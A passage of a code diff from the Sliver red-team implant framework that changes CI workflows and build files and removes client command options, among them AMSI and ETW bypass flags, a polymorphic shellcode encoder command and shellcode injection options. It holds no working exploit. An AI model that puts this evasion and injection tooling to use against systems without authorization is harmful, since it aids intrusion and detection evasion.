WIP

.github/CODEOWNERS

@@ -1 +1,2 @@
-* @BishopFox/red-team
+* @moloch--
+* @rkervella

.github/dependabot.yml

@@ -1,16 +0,0 @@
-# Basic set up for three package managers
-
-version: 2
-updates:
-
-  # Maintain dependencies for GitHub Actions
-  - package-ecosystem: "github-actions"
-    directory: "/"
-    schedule:
-      interval: "weekly"
-
-  # Maintain dependencies for go
-  - package-ecosystem: "gomod"
-    directory: "/"
-    schedule:
-      interval: "weekly"

.github/workflows/autorelease.yml

@@ -6,55 +6,57 @@ on:
     branches: [master, goreleaser]
 
 jobs:
+
   linux-windows-build:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
-      - name: Go 1.19
-        uses: actions/setup-go@v3
-        with:
-          go-version: "1.19.1"
 
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+    - name: Go 1.18
+      uses: actions/setup-go@v2
+      with:
+        go-version: '1.18.5'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Make
-        env:
-          ARTIFACT_SUFFIX: _linux
-        run: export PATH=/home/runner/go/bin/:$PATH && make linux
+    - name: Make
+      env:
+        ARTIFACT_SUFFIX: _linux
+      run: export PATH=/home/runner/go/bin/:$PATH && make linux
+  
+    - name: Linux Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: linux
+        path: ./sliver-*
 
-      - name: Linux Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: linux
-          path: ./sliver-*
+    - name: Make Windows
+      env: 
+        ARTIFACT_SUFFIX: _windows
+      run: |
+        make clean
+        export PATH=/home/runner/go/bin/:$PATH && make windows
 
-      - name: Make Windows
-        env:
-          ARTIFACT_SUFFIX: _windows
-        run: |
-          make clean
-          export PATH=/home/runner/go/bin/:$PATH && make windows
-
-      - name: Windows Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: windows
-          path: ./sliver-*
+    - name: Windows Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: windows
+        path:  ./sliver-*
 
   macos-build:
     name: MacOS Build
@@ -62,40 +64,42 @@ jobs:
     runs-on: macos-latest
     timeout-minutes: 45
     steps:
-      - name: Go 1.19
-        uses: actions/setup-go@v3
-        with:
-          go-version: "1.19.1"
 
-      - name: Mingw
-        run: brew install mingw-w64
+    - name: Go 1.18
+      uses: actions/setup-go@v2
+      with:
+        go-version: '1.18.5'
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Mingw
+      run: brew install mingw-w64
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Make AMD64
-        env:
-          ARTIFACT_SUFFIX: _macos
-        run: make macos
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Make ARM64
-        env:
-          ARTIFACT_SUFFIX: _macos-arm64
-        run: make macos-arm64
+    - name: Make AMD64
+      env: 
+        ARTIFACT_SUFFIX: _macos
+      run: make macos
 
-      - name: MacOS Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: macos
-          path: ./sliver-*
+    - name: Make ARM64
+      env: 
+        ARTIFACT_SUFFIX: _macos-arm64
+      run: make macos-arm64
+
+    - name: MacOS Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: macos
+        path: ./sliver-*
 
   tagged-release:
+
     needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
@@ -104,52 +108,53 @@ jobs:
     timeout-minutes: 45
 
     steps:
-      - run: mkdir -p ./builds
-      - uses: actions/download-artifact@v3
-        with:
-          path: ./builds
+  
+    - run: mkdir -p ./builds
+    - uses: actions/download-artifact@v2
+      with:
+        path: ./builds
 
-      - name: Extract Artifacts
-        run: |
-          mkdir -p ./artifacts
-          cp ./builds/linux/* ./artifacts
-          cp ./builds/windows/* ./artifacts
-          cp ./builds/macos/* ./artifacts
+    - name: Extract Artifacts
+      run: |
+        mkdir -p ./artifacts
+        cp ./builds/linux/* ./artifacts
+        cp ./builds/windows/* ./artifacts
+        cp ./builds/macos/* ./artifacts
 
-      - id: install-secret-key
-        name: GPG Key(s)
-        run: |
-          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-          gpg --list-secret-keys --keyid-format LONG
+    - id: install-secret-key
+      name: GPG Key(s)
+      run: |
+        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+        gpg --list-secret-keys --keyid-format LONG
 
-      # Linux
-      - name: Linux AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    # Linux
+    - name: Linux AMD64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    
+    # Windows
+    - name: Windows AMD64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
 
-      # Windows
-      - name: Windows AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
-
-      # MacOS AMD64
-      - name: MacOS AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-
-      # MacOS ARM64
-      - name: Package MacOS ARM64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-
-      - name: "Publish Release"
-        uses: "marvinpinto/action-automatic-releases@latest"
-        with:
-          repo_token: "${{ secrets.GITHUB_TOKEN }}"
-          prerelease: true
-          files: |
-            ./artifacts/*
+    # MacOS AMD64
+    - name: MacOS AMD64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+  
+    # MacOS ARM64
+    - name: Package MacOS ARM64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+  
+    - name: "Publish Release"
+      uses: "marvinpinto/action-automatic-releases@latest"
+      with:
+        repo_token: "${{ secrets.GITHUB_TOKEN }}"
+        prerelease: true
+        files: |
+          ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -17,13 +17,13 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.19
-        uses: actions/setup-go@v3
+      - name: Go 1.18
+        uses: actions/setup-go@v2
         with:
-          go-version: "1.19.1"
+          go-version: "1.18.5"
 
       - name: Checkout repository
-        uses: actions/checkout@v3
+        uses: actions/checkout@v2
         with:
           # Must fetch at least the immediate parents so that if this is
           # a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
           && make install
 
       - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+        uses: actions/checkout@v2
 
       - name: Go Assets
         run: ./go-assets.sh
 
       # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
-        uses: github/codeql-action/init@v2
+        uses: github/codeql-action/init@v1
         with:
           config-file: ./.github/codeql/codeql-config.yml
           languages: go
@@ -72,6 +72,6 @@ jobs:
           make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v2
+        uses: github/codeql-action/analyze@v1
         env:
           VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -1,7 +1,7 @@
 name: Build & Test
 on:
   push:
-    branches:
+    branches: 
       - test/*
   pull_request:
     branches:
@@ -13,67 +13,70 @@ on:
       - ready_for_review
 
 jobs:
+
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
     timeout-minutes: 90
     steps:
-      - name: Go 1.19
-        uses: actions/setup-go@v3
-        with:
-          go-version: "1.19.1"
 
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+    - name: Go 1.18
+      uses: actions/setup-go@v2
+      with:
+        go-version: '1.18.5'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Make
-        run: make linux
+    - name: Make
+      run: make linux
 
-      - name: Test
-        run: ./sliver-server unpack --force && ./go-tests.sh
-
-      - name: Make Windows
-        run: make windows
+    - name: Test
+      run: ./sliver-server unpack --force && ./go-tests.sh
 
+    - name: Make Windows
+      run: make windows
+  
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
     timeout-minutes: 90
     steps:
-      - name: Go 1.19
-        uses: actions/setup-go@v3
-        with:
-          go-version: "1.19.1"
 
-      - name: Mingw
-        run: brew install mingw-w64
+    - name: Go 1.18
+      uses: actions/setup-go@v2
+      with:
+        go-version: '1.18.5'
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Mingw
+      run: brew install mingw-w64
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Make
-        run: make macos
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Test
-        env:
-          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-        run: ./sliver-server unpack --force && ./go-tests.sh
+    - name: Make
+      run: make macos
+
+    - name: Test
+      env:
+        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+      run: ./sliver-server unpack --force && ./go-tests.sh

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.19.2
+FROM golang:1.18.5
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
 
 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD . /go/src/github.com/bishopfox/sliver/
-RUN make clean-all \
-    && ./go-assets.sh
+ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
+RUN ./go-assets.sh
 
+# Compile sliver server
+ADD . /go/src/github.com/bishopfox/sliver/
 RUN make \
     && cp -vv sliver-server /opt/sliver-server \
     && /opt/sliver-server unpack --force 

Makefile

@@ -5,7 +5,7 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
 
 #
@@ -99,12 +99,6 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
-ifeq ($(MAKECMDGOALS), linux-arm64)
-	# Redefine TAGS/ENV to use pure go sqlite3
-	TAGS = -tags osusergo,netgo,gosqlite
-	ENV = CGO_ENABLED=0
-endif
-
 #
 # Targets
 #

client/command/alias/load.go

@@ -28,7 +28,6 @@ import (
 	"path/filepath"
 	"strings"
 
-	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -178,11 +177,6 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				f.Bool("i", "in-process", false, "Run in the current sliver process")
-				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
-
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
 			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
@@ -280,17 +274,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
-	processArgsStr := ctx.Flags.String("process-arguments")
-	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
-		con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
-		confirm := false
-		prompt := &survey.Confirm{Message: "Do you want to continue?"}
-		survey.AskOne(prompt, &confirm, nil)
-		if !confirm {
-			return
-		}
-	}
-	processArgs := strings.Split(processArgsStr, " ")
+	processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -336,10 +320,6 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			AppDomain:   ctx.Flags.String("app-domain"),
 			ProcessArgs: processArgs,
 			PPid:        uint32(ctx.Flags.Uint("ppid")),
-			InProcess:   ctx.Flags.Bool("in-process"),
-			Runtime:     ctx.Flags.String("runtime"),
-			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
-			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl

client/command/beacons/beacons.go

@@ -109,8 +109,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	wideTermWidth := con.Settings.SmallTermWidth < width
-	if wideTermWidth {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -120,7 +119,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"Hostname",
 			"Username",
 			"Operating System",
-			"Locale",
 			"Last Check-in",
 			"Next Check-in",
 		})
@@ -143,10 +141,42 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}
 
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
+
+		var next string
+		var interval string
+
+		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
+
+			} else {
+				interval = time.Since(nextCheckin).Round(time.Second).String()
+			}
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
+		} else {
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
+			} else {
+				interval = time.Until(nextCheckin).Round(time.Second).String()
+			}
+
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
+		}
+
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
 
-		if wideTermWidth {
+		/*
+			Round the duration to the nearest second to be more output friendly.
+			We deal in seconds for everything, so it makes sense to show outputs
+			in seconds to remain consistent.
+		*/
+		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
+		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
+
+		if con.Settings.SmallTermWidth < width {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -156,9 +186,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
-				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
-				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
+				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
+				next,
 			}
 		} else {
 			rowEntries = []string{
@@ -167,8 +196,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
-				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
+				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
+				next,
 			}
 		}
 		// Build the row struct

client/command/builders/builders.go

@@ -1,71 +0,0 @@
-package builders
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-// BuildersCmd - List external builders
-func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s", err)
-		return
-	}
-	if len(builders.Builders) == 0 {
-		con.PrintInfof("No external builders connected to server\n")
-	} else {
-		PrintBuilders(builders.Builders, con)
-	}
-}
-
-func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
-	})
-	for _, builder := range externalBuilders {
-
-		targets := []string{}
-		for _, target := range builder.Targets {
-			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
-		}
-
-		row := table.Row{
-			builder.Name,
-			builder.OperatorName,
-			strings.Join(builder.Templates, ", "),
-			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
-			strings.Join(targets, "\n"),
-		}
-		tw.AppendRow(table.Row(row))
-	}
-	con.Printf("%s\n", tw.Render())
-}

client/command/commands.go

@@ -23,7 +23,7 @@ package command
 
 	Guidelines when adding a command:
 
-		* Try to reuse the same short/long flags for the same parameter,
+		* Try to reuse the same short/long flags for the same paramenter,
 		  e.g. "timeout" flags should always be -t and --timeout when possible.
 		  Try to avoid creating flags that conflict with others even if you're
 		  not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,9 +41,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
-	"github.com/bishopfox/sliver/client/command/builders"
 	"github.com/bishopfox/sliver/client/command/completers"
-	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
@@ -67,12 +65,10 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
-	"github.com/bishopfox/sliver/client/command/rportfwd"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
-	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
@@ -458,7 +454,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "PEM encoded certificate file")
 			f.String("k", "key", "", "PEM encoded private key file")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
-			f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -485,7 +480,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
 			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
 			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
-			f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -521,6 +515,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Reconfigure the active beacon/session",
 		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
 		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
 			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
 			f.String("i", "beacon-interval", "", "beacon callback interval")
 			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -720,28 +715,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
-	tasksCmd.AddCommand(&grumble.Command{
-		Name:     consts.CancelStr,
-		Help:     "Cancel a pending beacon task",
-		LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
-			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
-			f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("id", "beacon task ID", grumble.Default(""))
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			tasks.TasksCancelCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
 	con.App.AddCommand(tasksCmd)
 
 	// [ Use ] --------------------------------------------------------------
@@ -903,9 +876,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Args: func(a *grumble.Args) {
 			a.String("session", "session ID", grumble.Default(""))
 		},
-		Completer: func(prefix string, args []string) []string {
-			return use.BeaconAndSessionIDCompleter(prefix, args, con)
-		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			info.InfoCmd(ctx, con)
@@ -1016,33 +986,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
-	// [ Shellcode Encoders ] --------------------------------------------------------------
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ShikataGaNai,
-		Help:     "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
-		LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
-		Args: func(a *grumble.Args) {
-			a.String("shellcode", "binary shellcode file path")
-		},
-		Flags: func(f *grumble.Flags) {
-			f.String("s", "save", "", "save output to local file")
-
-			f.String("a", "arch", "amd64", "architecture of shellcode")
-			f.Int("i", "iterations", 1, "number of iterations")
-			f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			sgn.ShikataGaNaiCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
 	// [ Exec ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -1089,15 +1032,11 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 			f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-			f.Bool("i", "in-process", false, "Run in the current sliver process")
-			f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Uint("P", "ppid", 0, "parent process id (optional)")
 			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
-			f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-			f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1128,9 +1067,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
-			f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
-			f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
-			f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1209,8 +1145,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			a.Uint("pid", "pid")
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1300,9 +1234,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("P", "password", "", "SSH user password")
 			f.String("l", "login", "", "username to use to connect")
 			f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
